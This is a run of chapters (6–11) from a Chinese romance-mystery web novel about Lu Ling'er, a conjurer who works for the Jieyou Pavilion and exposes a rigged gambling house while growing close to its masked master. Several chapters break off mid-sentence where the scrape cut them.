陆铃儿甩甩脑袋,手上翻出“钻山蚤”,正欲朝那侍卫扔去,眼前的鞭子却骤然停了下来。 众人的目光齐齐移到鞭上,这才发现并非是公主侍卫心慈手软,而是阁主用手直接将那鞭子牢牢拽住了。 “阁主……” 他们本来只是来看热闹,没想到还要让阁主如此以身相护。 “韩恪!”容璃还没从心上人另有所爱的恨意中回过神来,却见他飞身离开冲向了自己侍卫。 起初她还不明所以,甚至还在担心他是否受伤,忙让侍卫放开鞭子。 可一看到厢房内的解忧阁众人,容璃的火气又噌地上来了,咬牙道: “原来韩阁主竟是如此护短之人!” “卑职知罪,请阁主责罚!” 五人齐齐请罪,他们惹出来的事,实不该连累阁主。 容砚松开侍卫的鞭子,未曾看手上的血痕一眼,目光扫向陆铃儿 6. 第 6 章 《解忧小娘子》全本免费阅读 陆铃儿随身携带的道具本就极具份量,脚一踏上船,船身就往下沉了一截。 偏偏江面起浪,她还没站稳船就颠簸起来,只能随着船身摇晃的方向往前蹿了一步。 容砚立身于船头,见状忙上前搀扶,可他低估了陆铃儿所携道具的重量,错手之间,陆铃儿的身子就这么冲过他伸|出的双手,直直地跌进了他的怀里。 刹那之间,天地一片安静。 江水滔滔,一浪一浪簇拥着船身,但身在船上的两人,却仿佛什么都听不见了。 陆铃儿脑子一片空白,也不知发懵了多久,直至鼻端传来阁主身上那淡淡的冷梅香,才猛然清醒过来。 她一个激灵,撤身退出容砚的怀抱。 心跳砰砰跳得快要蹦出来,她她她,竟对阁主做下了如此冒犯之事! 想到阁主拒绝七公主时的无情,她觉得自己恐也命不久矣。 只是她不知道,这砰砰乱跳的心跳声,不止有她的,还有容砚的。 他未曾想过第一次拥她入怀会是在这样的场景,一时之间也愣住了,就这么任由她在自己怀里,仿佛这里本就该是她的归宿。 熟悉的铃兰香味自她身上散开,他的心急促地跳个不停,直至陆铃儿起身退离。 “阁主,我……” 陆铃儿杏眼充满惶恐,连忙抬手请罪。 容砚似才回过神来,收起欲作挽留的手,敛住眼中的情绪,拦下了她的赔罪: “方才只是意外,勿需介怀。” 话毕,他便转过身去,弯腰进入了船舱。 陆铃儿见阁主并无责怪之意,舒了口气,也跟着进了船舱。 只是经过刚才那一遭,她不敢离阁主太近,两人中间空出了大片距离。 船行于烟波浩渺的江面,两人却默契地沉默着。 陆铃儿自觉冒犯了阁主,完全不敢搭言,只轻轻捏着手心。 方才在解忧居被伞的碎片划伤,当时也不觉有多疼,怎么现在还阵阵刺痛起来了呢? “伤势可有大碍?” 陆铃儿抬头,见阁主投来询问的目光,她急忙放下手,摇头答道: “没事没事,只是小伤。” “你是彩戏师出身,靠的就是这双巧手,若是手废了,我解忧阁可不养闲人。” 容砚话语冷淡,手上却拿出一个小巧的瓷瓶: “此乃雪玉膏,于恢复伤口有奇效,拿去。” 容砚手里托着瓷瓶,示意陆铃儿来拿,可两人之间距离较远,直接够是够不着的。 陆铃儿只能挪动身子,坐到容砚身前,双手接过瓷瓶: “谢……”感谢的话还没说完,陆铃儿却在接药时见到容砚手心深深的鞭痕。 “阁主,你的手?” 陆铃儿心中有些不是滋味,她们几个跑去看热闹,最后还要阁主为他们以手挡鞭。 “无妨,你先用药。” 容砚示意陆铃儿先行处理手上的伤口,陆铃儿推却不过,轻轻拔下瓶塞,将药膏涂抹于伤口之上。 这雪玉膏果然神奇,甫一接触伤口,便生起一股清凉之意,将伤处的疼痛温润化解于无形。 陆铃儿不禁在心里赞叹,这还真是件好东西。 阁主这人看着冷冷的,其实心善得很。 她抬眼看向容砚,却见他的视线停留在自己身上。 陆铃儿心里一慌,三两下擦好了药膏,将瓷瓶双手递上: “阁主请用药!” 容砚扫向她递来的瓷瓶,似是想到了什么,面具下的瑞凤眼轻轻闪了闪,将印有鞭痕的手心向上递出: “方才挡鞭失了力,你来帮我上药吧!” 帮他上药?这是不是太过僭越? 但想到阁主徒手为他们挡鞭,陆铃儿心中又生出几分愧疚,无形之中忽略了方才一瞬间的违和感。 “哦,那阁主得罪了。” 陆铃儿轻轻沾取瓶中药膏,仔细地将其抹于容砚的手心上。 当手指相触,她竟感到阁主的掌心微微有些发颤。 很疼吗? 陆铃儿手上的力道又轻了轻,看来阁主的伤比她想象中还要严重。 可即便她涂抹得已经很轻了,阁主的手似乎并未舒缓,反而还越来越烫了。 待她上完药,抬头却撞上了阁主的目光。 他的眼眸深邃,却又盈满柔光,仿佛深沉海面上散落的点点星辉。 这眼神令陆铃儿心漏了一拍,无端又想起了上船时的那个意外相拥。 她感到一阵心慌,急急低头递上瓷瓶: “阁主,药上好了。” 容砚轻轻握掌,似是想要留住方才的余温,他缓缓收回手,轻咳一声道: “雪玉膏我还多,这瓶你拿着。” “谢阁主赐药。” 阁主开口相赠,陆铃儿没有推拒之理,只是心里莫名的慌乱怎么也散不去。 刚上船时,她还能沉默以对,但现在,这招好像也不管用了。 “呃,阁主,先前你说,我的道具该如何改良?” 陆铃儿扑闪扑闪圆圆的眼眸,终于找到一个破开尴尬的话题。 容砚也似松了口气,清了清暗哑的嗓子,接过话题道: “你的道具精巧,只是材料太过寻常,遇上强敌则落了下风。” 陆铃儿心绪平复下来,将阁主的话思索一番,眼眸一亮,连连点头道: “阁主所言极是,若将道具材料更换为精钢玄铁,对敌效果定会事半功倍!只是这材料……” “这你无需担心,解忧阁武库内材料众多,需要可直接 7. 第 7 章 《解忧小娘子》全本免费阅读 此次出现在陆铃儿面前的,竟是一名年约七八岁的小男孩。 男孩虎头虎脑,眼神却充满了无助: “姐姐,求你帮帮我,帮帮我爹爹吧!” 原来,这男孩名叫扈小九,父亲扈贵在京城东市当屠夫,母亲持家,本来家境不错,小九还进了学堂念书。 可没成想,父亲自去年起沾上了赌博,一年来不但钱没赢着,反到把家底输了个精|光。 接着母亲也病倒了,这个家便更不相样了。 如今小九没了学上,一面要照顾生病的母亲,一面还要找事做补贴家用。 他也是实在没办法了,才咬牙拿出藏下的最后几个铜板,尝试着求助到了解忧阁。 他生怕自己钱太少委托不上,还好解忧阁接了他这个任务,还派了位漂亮姐姐来帮他。 陆铃儿听完他的讲述,偏了偏头,手指在额上轻点几下,然后走到小九面前,蹲下来与他视线平齐道: “小九啊,还是找个机会,带你娘亲一起离开吧!” 陆铃儿与师父一起走南闯北,也见过不少赌徒,深知这人一但沉迷进去,十头牛也拉不回来的。 “不不!”扈小九急急摇头摆手,“姐姐,我爹爹不是坏人,他是被人骗了!” “哦?”陆铃儿眨眨眼睛,扈小九对他父亲的态度倒是在她意料之外。 “爹爹不是贪财,他是为了给娘亲买药,只是……他遇上了坏人。” 还有这么一层隐情?陆铃儿倒有些好奇了,示意扈小九继续说下去。 这一切要从去年说起,扈小九的母亲患了病,须得用名贵药材吊着调理,扈家虽家境还算殷实,却也经不起长年累月配那贵重的药材。 正在捉襟见肘之时,父亲扈贵遇到了混子常老五,带他去赌坊赢了好几次。 扈贵一合计,这比他当屠夫来钱快,遂开始天天候在了赌坊,想着赢了好给妻子当药钱。 此时扈贵赌运似乎用光了,竟再也没赢过,妻儿的相劝他是听进去过的,可当他一想收手,又会赢上几把。 就这么反反复复,一年过去了,扈家的家底空了,妻子的病也更严重了。 陆铃儿这才明白何为扈小九要让她帮爹爹,原来这扈贵是被做局了。 “姐姐,你一定要帮帮我们!” 扈小九拉着陆铃儿的手,眼神可怜得就像一只找不到家的小狗。 陆铃儿抬手揉了揉他头顶的发,温声道: “小九别急,姐姐帮你。” 赌博嘛,她彩戏行当也是有的,只是平时她不大喜欢这些,现在是时候拿出来亮亮相了。 半个时辰后,陆铃儿出现在了街头,只是此时她身着男式直裾长袍,还贴了两撇小胡子。 她支起一张小桌子,桌上放着三只空碗与三个小球。 街上人来人往,已有不少人朝她这里投来了好奇的目光,甚至还有好事者三三两两围在了她的小桌前。 她看了看街角,与守在此处的扈小九打了个眼色。 她临时在这里摆了摊点,让扈小九在街角看着,一方面盯着扈贵,一方面也盯着街上巡逻的官差。 待扈小九示意扈贵过来了,陆铃儿清了清嗓子,在小桌前吆喝开来: “列位看官请留步,看我小老有仙术。在下初来京城,在此寻找一名有缘人,不求荣华富贵,只求绝技有传。” 陆铃儿这么一吆喝,附近看热闹的人都围了过来,扈小九的父亲扈贵也跟着挤在了小桌前方。 人群里已有人不屑一顾地势质疑起来: “就你这几个破碗、几个小球,也不像啥仙术啊?” “看官莫慌,小老先请列位猜一猜,球在哪只碗中?” 陆铃儿一边说,一边将三只空碗倒扣,接着将中间那只碗掀起一条缝,拿起桌面上的一个小球快速放了进去。 此时,桌上摆着的,是三只倒扣的碗,还有两个小球。 陆铃儿向众人展示了她空空如也的双手,接着指向桌面: “列位请猜。” 看热闹的人见这架势都笑了: “这还有什么好猜的,不就在中间这只碗里!” 陆铃儿勾起藏在“胡须”下的嘴角,摇头道: “非也非也,我说,球在那只碗中,去!” 她手指一伸,从中间碗指向了最右边的一只碗。 “看官请揭碗。” 前排的好事者率先掀开中间的碗,震惊地发现里面竟是空的,再掀开右边的,小球果然在这只碗中! 人群一片惊呼,皆是称道神奇。 陆铃儿把空碗扣回去,又问向众人: “列位再猜,碗里有几个球?” “一个!”众纷纷答道。 也有人见方才球移了位置,这次定也没那么简单,遂答: “两个!” “我说,有三个球。”陆铃儿拿起桌上的一个小球,往右边碗里一指: “去!” 一转眼,手上的小球便不见了踪迹。 在人们的一片称奇声中,陆铃儿再拿起桌上最后一个小球,同样一指: “你也去!” 手上的小球瞬间也消失不见。 围观者赶紧掀开最右边那只碗,里面躺着的,果然是三个小球! “好!” 人群中响起了一片叫好声。 “列位若是感兴趣,可上前与小老赌一赌,小老分文不收,只求一名有缘人。” 围观的人听闻不收钱,纷纷来了兴致,争先恐后上来赌小球。 陆铃儿来者不拒,都与他们赌上一番,每次赌的花样也皆不相同。 可惜赌了许久,都无人答对。 这边扈贵见此绝技,也的确动了心思。 眼下赌运不济,一输再输,若是他有这样的绝技,何愁逢赌不能赢? 好不容易轮到他上场,这次的赌法却是,陆铃儿先猜,他后猜。 见陆铃儿猜了最左边的碗,扈贵心中忐忑,他是看见球在中间的碗没错,可那球会变,怎知这次会不会再变走? “看官可猜好了?” 听到陆铃儿的轻声催促,扈贵一紧张,手还是落到了中间的碗上。 围观的人大都一阵惋惜,多难得的机会,居然不跟着一起猜左边的碗。 可当空碗掀开,所有人都傻眼了: 那小球却是端端正正躺在中间的碗里! 人群一阵惊呼,陆铃儿也捋了捋“胡子”,笑道: “看来你正是小老今日所寻的有缘人。” 随后她向着众人一辑: “列位看官,小老的有缘人已寻到,多谢捧场了!” 随着人群散去,扈贵都还有些征神,他真的成为这绝技的传人了? 不待他发愣,陆铃儿的声音唤醒了他: “小老姓陆,请问看官怎么称呼?” “俺,俺叫扈贵,是东市上的屠夫。” “好,好,你我既有这师徒缘份,今日我便将此绝技传授于你。” 陆铃儿轻捋“胡须”,继续说道:“只是传道授业须严谨,你留下住址于我,回去沐浴更衣,半个时辰后,小老再登门相授。” 扈贵连连称是,给陆铃儿留下住址,回家 8. 第 8 章 《解忧小娘子》全本免费阅读 “娘!” 还是扈小九最先反应过来,匆匆跑进了内室。 原来方才那一声响,是扈贵的妻子月娘急着出来,却因卧床太久站立不稳,腿一软跌倒在了床边。 扈小九扶起母亲,搀着她从内室缓缓走出来。 月娘身子虚,刚走出几步就气喘连连,扈贵也停下了与陆铃儿的争辩,上前扶过她: “月娘,你咋出来了?” 月娘只抬头面向陆铃儿,瘦削的脸颊上,大而单薄的眼睛写满坚决: “陆娘子,咳咳,方才我在内室听得真切,你说得对,赌博害人不浅,请你一定要帮孩儿他爹看个清楚!” 在陆铃儿来扈家之前,她已经听扈小九讲述了今日的委托经过。 她没想到小九真能请动解忧阁,更没想到来替她家解忧的竟是位小娘子。 不过最令她惊诧的,还是这陆娘子的解忧之法。 她将看似仙术的戏法掰开了揉碎了,揭密给孩儿他爹看,告诉他赌博易入骗局的道理。 只是扈贵那个榆木脑袋,人家都做到这种地步了,他竟还不开窍! 陆铃儿点头,向月娘弯起一抹宽心的微笑: “扈夫人放心,这本就是我们解忧师的分内之事。” 这下轮到扈贵不干了: “月娘,你咋向着她说话!” “孩儿他爹,你先好好听陆娘子的,咳咳咳……” 见月娘又咳了起来,扈贵也慌了,一面帮他顺着气,一面答道: “好好好,俺听,俺听还不成嘛!” 然后又转向陆铃儿: “陆先……陆娘子,你说,俺听着。” 待几人重新就坐,陆铃儿又巧手翻出了骰子、牌九等几样赌具,一样一样为扈贵揭密。 她并未专门练过这些,不过在她看来,手法与那“三仙归洞”是异曲同工的,经她一番操作,不论对方怎么赌,都是一个输。 “扈贵,你可看清了?” 扈贵的脸色越来越白,壮实的身躯也一下瘫倒在竹椅上: “俺赌了这么久……都被人骗了?” “不是所有的赌局都是骗局,但你所入的,一定是个骗局!” 先给点甜头,然后一输再输,一想抽身又给颗糖,想要达到这样的效果,光靠手气不是成的。 “那俺该咋办?俺都投了那么多进去了……”扈贵说着声音都发颤了。 “立刻戒赌,做好你的老本行,不愁一切回不来。” 扈贵本质不坏,人也踏实,就是脑子不灵,之前是被有心人带上歧途了,只要走对路,一切还有回转的余地。 “可,可那些出千骗俺的人,就这么算了?” 一想到那些人骗他把家都败光了,扈贵不由得捏起拳头,粗壮的手臂上暴起青筋。 “当然不能就这么算了。” 那出千之人既然能骗扈贵,也能骗张贵、李贵、王贵,也不知有多少家庭因此妻离子散。 “稍后,我陪你去一趟赌坊。” 陆铃儿藏在“胡须”下的唇角,勾起了一抹笃定的笑容。 * 长宁京城东,泰来坊。 夜幕刚刚降临,这里已是人声鼎沸、热闹非凡。 泰来坊虽算不上京城最大的赌坊,但因其面向底层平民开放,民众基础很高,三教九流之人皆混迹于此。 陆铃儿跟着扈贵一路行来,路人看扈贵的眼神倒是稀松平常,可看向她的却充满探究。 她也不怵,捋捋“胡子”跟在扈贵后面阔步走着。 “哟,扈贵来了!”常老五跟了上来,扯出笑容露开一排黄牙。 这常老五是街头的混子,年约三四十,因常年混迹于赌坊勾栏,后来干脆做起了中间人,时不时带些新客上门。 扈贵一想到自己正是被常老五带着入了赌局,不由得眼睛圆睁,手也握起了拳。 “咳!”陆铃儿在身后轻咳一声,及时打断了扈贵的情绪。 常老五眼睛往扈贵身后一瞟:“这位是?” 扈贵有些不自然道:“这是俺的远房亲戚,俺带他来开开眼。” 常老五把陆铃儿打量一番,点头道:“嗯,快去快去,马上要开了!” 陆铃儿眨睁示意扈贵,扈贵哦了一声,带她来到了赌桌前。 此时桌上正在开大小,陆铃儿挤在桌旁,并未有多余的动作,只是先行围观。 随着赌场庄荷摇动骰子,桌前的赌徒们纷纷下注,待骰盅打开,果然又是赢少输多,徒留下赌徒们的一片哀号。 陆铃儿看完一轮,弯弯亮晶晶的眼眸: 原来是这样,还不如她的戏法呢! 待下一轮开启,庄荷摇骰、赌徒下注,皆与之前无甚不同。 只是在庄荷即将打开骰盅之时,他却突然顿住了。 围在赌桌前的赌徒们等了好几瞬,不见庄荷有任何动作,皆叫嚷起来: “愣着干什么?开啊!” 他们哪里知道,庄荷现在根本无法动弹,在他即将开盅的那一瞬间,身子就被陆铃儿的“钻山蚤”叮得僵住了。 眼见庄荷一动不动,赌徒们也等不住了,有那性急的,直接上前去推搡。 只是没想到,这一推下去,带着庄荷的手重重往前一送。 那手也不知磕到了骰盅上的哪一处,只听得那骰盅里,竟哗哗响起了骰子相碰的声音。 桌前的赌徒皆是低头望向骰盅,眼神里满是不可置信。 那僵住的庄荷,此时已急得满头大汗,无奈身子无法动弹,也无法开口叫喊,只能瞪着眼填干着急。 方才那推搡之人,见到此时的异象也是满腹生疑,因为离得最近,他直接一手揭开了骰盅。 这一揭可不得了,本应在里面好好躺着的三颗骰子,竟直接从骰盅里飞弹出来! 原来,这骰盅被设下了机关,当赌徒买定离手后,庄荷会根据桌上所押的大小调整盅内的骰子。 只是这机关需要庄荷把控好技巧与力道,按轻了骰子翻不了,按重了骰子又会蹿得老高。 方才那庄荷的手被重重磕在了机关上,骰子在骰盅里飞蹿,才会有那么大的声响,以至于揭开盖子飞将出去。 一时间,所有人都征住了。 泰来坊的掌柜终于发现不对劲,急急朝着这方奔来,可还没等他跑到桌前,赌徒们全都暴起了: “出老千!!!” “狗|日|的泰来坊,竟敢出老千!!!” 掌柜的边跑边喊:“误会!都是误会啊!” 只是赌徒们哪里肯听,他们早就不知在这泰来坊输了多少钱,之前还道是手气不好,现在才知道,原来是赌坊出千! “别听他的!砸了这出千的泰来坊!” 激愤的赌徒们掀桌的掀桌,砸牌的砸牌,场面变得混乱不堪。 扈贵是这群赌徒中砸得最狠的,他身强体壮力气大,红着眼一拳下去,赌桌瞬间塌了大半。 先前陆娘子的展示他虽信服,但心里总还是期望着泰 9. 第 9 章 《解忧小娘子》全本免费阅读 顺天府府衙。 陆铃儿再次来到这里,心里五味杂陈。 上次是捉拿贼人的女侠,这次却是发现命案的证人。 只是这一次,戚大人外出公干不在府衙,衙门众差人忙活半天,最后以失足溺水为常老五的死亡定了性。 陆铃儿心有质疑,却又无从辩驳。 毕竟常老五确属溺亡,并无其他致命伤,加之他是从赌坊逃蹿而来,最有可能的,就是他自己慌乱中不慎从桥边失足落水。 身旁扈贵虎着一张脸,还没从常老五的死亡中回过神来。 他是想将常老五狠狠一顿胖揍,但没想让他死啊,怎么一转眼,人就没了呢? 直至两人做完笔录,从顺天府大门出来,日头已经升得老高。 陆铃儿抬手遮了遮晃眼的日光,回身看向仍旧一脸呆滞的扈贵: “走吧!” 经过昨晚一闹,想来扈贵已认清了赌场的真面目,不会再沉迷其间了。 只是常老五死得蹊跷,她还想再同扈家人交待几句。 回到扈家,陆铃儿把昨夜的经过详细告知了月娘母子。 听闻泰来坊出千被抓个现行,母子俩都松了一口气,掬起了释然的笑容。 这下,扈贵那个拎不清的,终于看清真相,不再一根筋地往里钻了。 只是听到后面,常老五溺水而死,月娘才刚恢复精神的面容,又变得黯淡下来。 “小九,相信你爹爹不会再赌了,你的委托,姐姐就帮到这儿了。” 陆铃儿抬手,揉了揉扈小九的发顶,复又转向月娘: “扈夫人,常老五的死,我总觉得没那么简单,请一定要多加留心。” 月娘心下感激,低首向陆铃儿一揖: “陆娘子大恩,我扈家没齿难忘。此前我本就打算回老家待上一阵,让孩儿他爹远离泰来坊,咳咳,眼下,是时候回去看看了。” “回老家?”扈贵有些不明地挠挠头,他已经知道赌博害人,以后也不想再赌了,咋还要回老家? 再说她身体经得起路途颠簸吗? “你只要不赌了,我的身体就好了大半。再说,咱老家也不远,山清水秀的,物价又低,药也不缺,养身体不是更好。” “爹爹你就听娘亲的吧!” 扈小九伸着小脑袋,眼睛亮闪闪的。 这一年家不成家的日子,终于过去了! 扈小九牵着陆铃儿的手,把她送出家门好远都舍不得松开: “陆姐姐,多亏你为我家解了忧,我真不知该怎样感谢你。” 陆铃儿杏眸微弯,蹲身看向扈小九晶莹透亮的眼睛: “小九,你是我的委托人,为你解忧是我的分内之事,不必言谢。” 接着手上轻轻翻出一朵小小的葵花: “送给你,愿你一家好运常在!” 惜别依依不舍的扈小九后,陆铃儿换回原本的妆容,回程向解忧居走去。 此时已近晌午,阳光照在身上火辣辣的,陆铃儿只得寻着阴凉处,匆匆朝前走着。 自昨晚踏进泰来坊起,她滴水未进,又一宿没睡,如今已是又累又饿。 可她无暇顾及,只想早早到解忧居交完任务,再回头去查探一番。 那常老五之死绝非失足溺水那么简单,尤其他前脚提到陆家,后脚就落了水。 怎么看,都不像是意外,倒像是杀人灭口! 想来常老五,还有那泰来坊的掌柜,一定知道些不为人知的秘密,这条线索她得去查查。 陆铃儿一路想着,眼看就要走到解忧居,却见阁主从街的另一头迎面走来。 不得不承认,阁主此人实在是独具气场。 熙熙攘攘的大街上,一但他出现在人群里,所有人的目光便只看得到他,其余所有的一切皆成了背景。 此刻他身着云灰色直领对襟长衫,墨发半束,面容隐藏于玄色墨梅面具之下,威仪而又神秘,简直令人移不开眼。 陆铃儿与他相向而行,最后皆停于解忧居的正门前。 “阁主。”陆铃儿及时行礼。 容砚面具下的瑞凤眼微敛,将陆铃儿悄然打量一瞬,确认无恙后方才问道: “嗯,任务完成了?” 陆铃儿点头:“完成了,正回来交任务呢。” “嗯。”容砚含首,先行一步进了解忧居。 陆铃儿紧随其后也走了进去,两人同上阁楼,然后又走向不同的方位。 陆铃儿去的是解忧师收放任务的内室,容砚却是直接去了阁楼厢房。 待陆铃儿交完任务从内室离开,对面厢房却传来了阁主的声音: “陆铃儿,进来。” 阁主都喊话了,陆铃儿岂有不去之理,遂轻推房门,走了进去。 甫一开门,菜肴的鲜香便扑面而来,陆铃儿肚里的馋虫瞬间被勾起。 抬眼望去,阁主一人坐于主座,桌上的佳肴似是刚上菜,还未来得及下筷。 看着这略显丰盛的午餐,陆铃儿感到肚子在抽痛: 自己从昨夜饿到现在,阁主却一人独享美食。 况且,这菜也太多了吧,阁主吃得下吗? “可有用餐?我这里多点了些,一起吧!” 与阁主一起进餐吗? 陆铃儿有些犹豫,与阁主单独吃饭是否有些不妥?再说她还想回去再寻些线索呢。 只是……这肚子实在是饿得咕咕叫了。 好吧,就先垫吧一点再去吧。 陆铃儿轻展笑颜,向容砚行上一礼:“多谢阁主!” 接着便挪动桌椅,坐到了容砚对面。 只是她没注意的是,对面的容砚在她就座的瞬间,轻轻勾起了唇角。 陆铃儿坐定,见与阁主正面相对,顿觉有些紧张,一时间竟忘了执筷,只征征地看着对面。 容砚也不催促,白皙修长的手指轻轻执碗,添入热腾腾的白米饭后,将碗递到陆铃儿的面前。 陆铃儿这才反应过来,阁主竟然在给自己盛饭! 她立刻起身,诚惶诚恐地接过阁主递过来的碗: “谢,谢谢阁主!” 容砚弯了弯唇:“不必拘谨,我说过,解忧阁并非等级森严之所。” 陆铃儿想起,阁主的确这样说过,在上次被他“留堂”之时。 “哦。”她轻呼一口气,拿起了桌上的筷子。 只见对面的阁主也执起筷箸,夹起盘中佳肴,缓缓送入了口中。 陆铃儿杏眸凝着容砚的动作,竟又有些出神。 不得不说,阁主还真是举止优雅,连吃个饭都给人一种品貌不凡之感。 对了,吃饭! 陆铃儿这时才发现,阁主能这么气定神闲地吃饭,与他 10. 第 10 章 《解忧小娘子》全本免费阅读 回解忧阁的路上,陆铃儿紧锁的眉心就没松开过。 常老五溺水本就蹊跷,泰来坊走水更是可疑。 一个堵坊,本应在夜间活动频繁,怎会大白天的走了水,死伤还如此之大? 除非—— “泰来坊走水绝非意外!” 陆铃儿想通其中关键,心跳得砰砰作响。 这些人,定是因什么事而被灭口的,而这件事,总不至于是赌坊出千吧。 想来想去,最有可能的,就是常老五提到的那句陆家。 身旁的容砚眸色深沉,声音比冷泉更寒: “嗯,泰来坊的人,应是先遇害,后遭的火。” 什么?! 陆铃儿心下一惊,袖中的小手紧紧地握成了拳。 究竟是什么人要下此毒手? 那么多条人命,怎能这么轻易就被抹杀! “阁主,既然此事真相存疑,解忧阁可能前去调查?” 若是解忧阁能出面调查,或许此事的真相还能浮出水面。 行在身边的容砚却是摇头: “此事官府自会详查,没有官府的委托,我解忧阁不得插手。” 陆铃儿的不岔他怎不知晓,只是一些事,终究无法放到明面上。 这些年来,他一直在查陆家的事,当年那些人行事狠辣,相关之人皆被斩草除根,如今线索实属难寻。 昨日陆铃儿夜访泰来坊,竟意外寻出了常老五与掌柜这条线,他立马起身跟进,却还是晚了一步。 泰来坊这条线,他不会坐视不管,只是,需在暗中进行。 “阁主,我想学查案,我要自己去查!” 解忧阁的解忧师分为初、高两阶,初阶如陆铃儿,接的都是老百姓的烦心事,而高阶解忧师,接的则是推理断案的大事件。 陆铃儿本来觉得初阶也挺好,但现在眼见自己的身世似是有了线索,又这么骤然断了,心里似有一团火在灼灼燃烧。 为什么一提陆家,所有人都讳莫如深,最后不惜杀人灭口? 这其中到底又隐藏着什么秘密? 如果解忧阁没有委托不能查,那她愿意自己去。 容砚闻言,转身面向陆铃儿,看着她的眼眸郑重说道: “查案可以学,但绝不许私自行动!” 陆铃儿不晓其中厉害,容砚却是深知的,稍有不慎,将会万劫不复,他绝不允许陆铃儿私自去冒险。 容砚此番态度严厉,陆铃儿有些意外,只能嘟嘟嘴,轻道了一声:“哦。” 许是查觉到自己的语气有些重了,容砚又将声音柔下几分道: “你也别想太多,先把这个月的三倍任务完成再说吧!” 说起三倍任务,陆铃儿想起几日前他们几个去看阁主热闹的糗事,不由得又生出了几分尴尬,无形之中淡去了心里的那些岔岔不平。 不多时,两人行至江边,已有艄公撑船在此等候。 两人先后上船,这一次陆铃儿可是小心了又小心,生怕又重演上次的局面。 好在江面风平浪静,两人此次都站得稳稳当当,顺利于船舱落座。 艄公在船舷一撑竹篙,船儿便悠悠离开江岸,朝着江心的烟渚驶去。 小船随着江水轻轻摇晃,陆铃儿还没坐上多久,眼皮就开始打架了。 自从接了扈小九的任务,她就一直奔忙到现在,昨夜又因常老五命案一事整宿没睡,此时一松懈下来,忽觉困顿不已。 想着在阁主面前睡着太不像样,她硬撑了半刻,准备实在坚持不住就拿“钻山蚤”叮一叮自己。 可是那船儿摇得实在是助眠,还没待她将“钻山蚤”翻出,手就从身上滑落下来,头靠着船舱,睡着了。 对面的容砚一瞬不瞬地盯着她的睡颜,久久移不开眼。 从陆铃儿上船之后,他就发现她瞌睡了。 看着她小脑袋一点一点的,却又硬撑着眼皮的模样,记忆里那个俏皮的小丫头与她渐渐合为一体: “鹿铃,你要睡了吗?” 少年的声音似是一下驱走了眼前女孩的瞌睡虫,本欲眯起的杏眼一下睁圆,摇头摆手,声音软软糯糯:“没有没有,我没睡。” 只是过不了多久,女孩的头又悄然垂了下去。 记忆里的少年时光,令容砚唇角弯起好看的弧度,眼睛满是柔软的星光。 上天终是待他不薄的,朝思暮想的姑娘,兜兜转转还是回到了他的身边。 失忆了也无妨,他自会守着她、护着她,不会让她再受任何伤害。 船儿摇摇,两人就这么一个睡着,一个看着,回解忧阁的水路很快就行了大半。 只是夏日天气多变,方才还晴空万里,此时竟已乌云密布。 不多时,豆大的雨点便倾泻了下来。 雨点砸得江水哗哗作响,江面激起的风也径直吹进了船舱。 容砚没有任何犹豫,立刻解开身上的云灰对襟长衫,轻轻披在陆铃儿身上,复又面向船舷处艄公: “且先行避雨,再回也不迟!” 艄公诚惶诚恐,他们常年备着斗笠蓑衣,下雨本也不是多大的事,可阁主发话了,他哪敢不听。 最后他只敢勾着身子背对的船舱,蹲在舱沿处静静躲着,生怕冒犯了舱内的阁主。 容砚暗赞了一声艄公懂事,转过头来再次注目于熟睡中的陆铃儿。 对面还在酣睡的小姑娘完全没被这突如其来的大雨侵扰,小脸睡得红扑扑的,乖巧得令人爱怜。 雨落江渚,船随江行,容砚就这么凝视着她的容颜,仿佛天地之间,只剩下了他们两人。 多希望这雨下得再久一些,这船行得再慢一些。 陆铃儿这边,却是陷入了一场梦境之中。 学堂之上,夫子正捋着长胡子,摇头晃脑着念着诗书,可她怎么也听不进去,眼皮之间就像抹了胶,怎么分也分不开。 奇怪,她何时上的学堂?怎么没印象了呢? “陆铃,陆铃快醒醒!” 好听的少年音响在耳畔,这是谁?她努力地睁眼,想看清这声音的来源。 好不容易将眼缝睁开,映入眼帘的,却是一树树开得正盛的梅。 咦?方才不是在学堂吗?怎么跑外面来了。 “你来了?” 少年暗藏欣喜的声音从后方传来,陆铃儿闻声回头,却见一半大少年立于红梅之下。 奇怪的是,她看不清他的面容,只知自己一见他就心生欢喜。 她向着少年挥手,诶?自己的手居然小小的,手背还有四个小手窝。 等等,她好像记得,她是来找少年玩的,确切地说,是要给他一个惊喜的。 她兴冲冲地跑向少年,在他面前停下。 11. 第 11 章 《解忧小娘子》全本免费阅读 接下来的日子,陆铃儿都在努力完成她的“三倍任务”。 累归累,她倒也自得其乐,为百姓解忧本就是她乐于去做的事。 只是泰来坊的那场大火,官府虽也查出里面的人在火起之前就已遇害,但却再无其他线索,这案子就这么成了悬案。 陆铃儿也想一查究竟,但每天这么四处奔波着,她无暇去向高阶解忧师们请教如何查案,泰来坊乃至陆家暂时也从无查起。 需要完成三倍任务的,当然也不止陆铃儿一人,当时同去看热闹的五人,人人有份。 几人相互照料着,时不时同出一次任务,这样完成起来也会轻松少许。 对于另外四名解忧师,陆铃儿最熟悉的就是话篓子方侃,别看他笨手笨脚,时不时整出点意外,但却是最善言辞的一个。 陆铃儿刚进解忧阁时,就是他带着熟悉阁中事务,经他这么话痨似的一顿念叨,解忧阁上至阁主下至随从,她很快都能认个清楚明白。 方侃尤擅解决纠纷类的委托,任凭委托人吵得再如何不可开交,他只要上前一辩,很快就能握手言和。 陆铃儿和他一起出任务,几乎都不用开口说话,只消变几个小戏法,结合着方侃的辩才,解忧效率比单独行动高出了数倍。 池飞则是几人中消息最灵通的一个,上次七公主上解忧居堵阁主,就是他最先得到的消息。 也不知道他哪来那么多眼线,随手甩几个内幕消息就能轻松完成一单委托。 和前面两位不同,梦绾艳丽妩|媚,人们很容易被她的外表迷惑,而这个时候也正是她勘透人心的最佳时刻。 外貌只是她的表象,她最厉害的,还是拿捏人心。 和她出任务也很轻松,不用多时人们就会将自己的弱点暴露在她面前。 孟小双则是与陆铃儿最相像的一个,初初看她只觉她童颜娃娃音,像个半大的孩子,其实她尤擅易容,让人难辨清真假。 与她一起出任务最是好玩,常常任务都完成了,委托人还搞不清解忧师长啥样。 几人本就各有所长,加之又通力合作,这三倍的任务,在不知不觉中就完成得差不多了。 陆铃儿心下盘算着,等三倍任务结束,她得好好请教一下阁里的高阶解忧师,陆家的线索,她还得查下去。 * 袅袅轻烟从香炉缓缓上升,室内淡淡弥漫着清冽的冷梅香。 此处乃靖王府邸的一处密室,端坐于主位的之上的,正是这里的主人,靖王容砚。 另有一位中年男子就坐于客位,只见他长眉入鬓,甚是儒雅。 